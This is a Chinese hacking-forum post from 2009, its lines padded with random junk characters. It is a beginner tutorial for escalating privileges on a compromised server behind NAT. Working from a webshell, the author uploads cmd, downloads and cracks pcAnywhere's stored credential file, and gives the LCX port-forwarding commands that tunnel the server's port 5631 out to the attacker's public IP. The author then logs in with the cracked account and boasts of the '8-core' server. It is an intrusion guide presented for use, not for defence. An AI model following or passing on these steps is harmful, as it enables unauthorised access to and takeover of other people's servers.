|
 
- 帖子
- 199
- 积分
- 724
- 威望
- 508
- 金钱
- 10463
- 在线时间
- 185 小时
      
|
很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。! n& K. V* q5 |. i: m9 ^
+ c5 D6 F' }( S! Q% Z, h
提权方法：pcanywhere+LCX
v0 v' b/ [8 X4 C$ O) w* M& L; P2 q5 Q; t b E% v) _% E, L
获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。% `% a5 J5 i. w
' x! _# a' Y5 K A/ d在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。! |$ N, J7 r H5 x: I
4 }$ `+ G- t1 w. p
/ S8 g7 j4 V ^. y1 X% k7 s2 R' T查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。7 y2 [) @" g. Y1 e Y: ?0 U
4 E2 g& a0 k. p/ a( N
2 G& `" V; U/ Q+ q
呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
+ K1 }; k0 @: U$ `* H
5 V' e3 c; I2 @$ t
4 H6 w9 ]; o9 [( T& q* T+ U" z0 I
# p7 M8 D$ V0 a* Z# J由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``* r; f' s' F7 f1 ~6 H+ c5 t
, R$ x: X6 p7 Y4 ~+ D" G: z- s
0 l& f( {1 G6 L% H
LCX的用法再简单说下：. j/ |3 y3 C9 x9 G& Z2 s# ]6 g
. g; S2 u+ }% B4 O2 \7 s6 R2 U服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）
6 L- {% T1 c" o) `1 S
. L+ R# c3 K1 ~% w% V! Z+ f) K* ^本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）
z" l: @# x5 q0 ^+ v: j2 A" \, u p3 {* ^% Q( X' f
由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。, n. q( t% G. Z7 x" e# e R" _% X
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``( }+ x9 d- r" r3 a% a6 T
4 M$ P/ j ]! Z5 q- v
6 Q- T4 d9 d2 l
- T, y' J: X+ B% X V7 r# x
; [4 r. V: |5 ?
呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。
$ Q J0 t" f2 u9 L" x4 a- `* D0 M7 h- A+ P' g( r4 k* ~
2 T& ]0 t! X/ Y+ V i
0 k! i, F1 r5 W* l k2 v" [( X
0 ]# P5 e- I0 w" Z N我们本地连接试试，输入我们刚破解的账号密码
5 O* H* y1 ^7 ~: B! y1 ^3 ]- b! `9 U) a$ F( e$ V
8 i c$ p* A% ]& I呵呵``连接成功,服务器不错，又一个8核^︵^9 I* \1 {* l. s
) ?) _ P; T- V) j# a+ D! m
e) N' K/ z0 ]; R1 B7 F. ^" F
$ \: \" ^4 }) E! ~3 g; Z |
附件: 您需要登录才可以下载或查看附件。没有帐号？注册
-
1
评分人数
-
|
发表于 2009-7-5 21:35
| 
发表于 2009-7-5 21:37
| .gif)
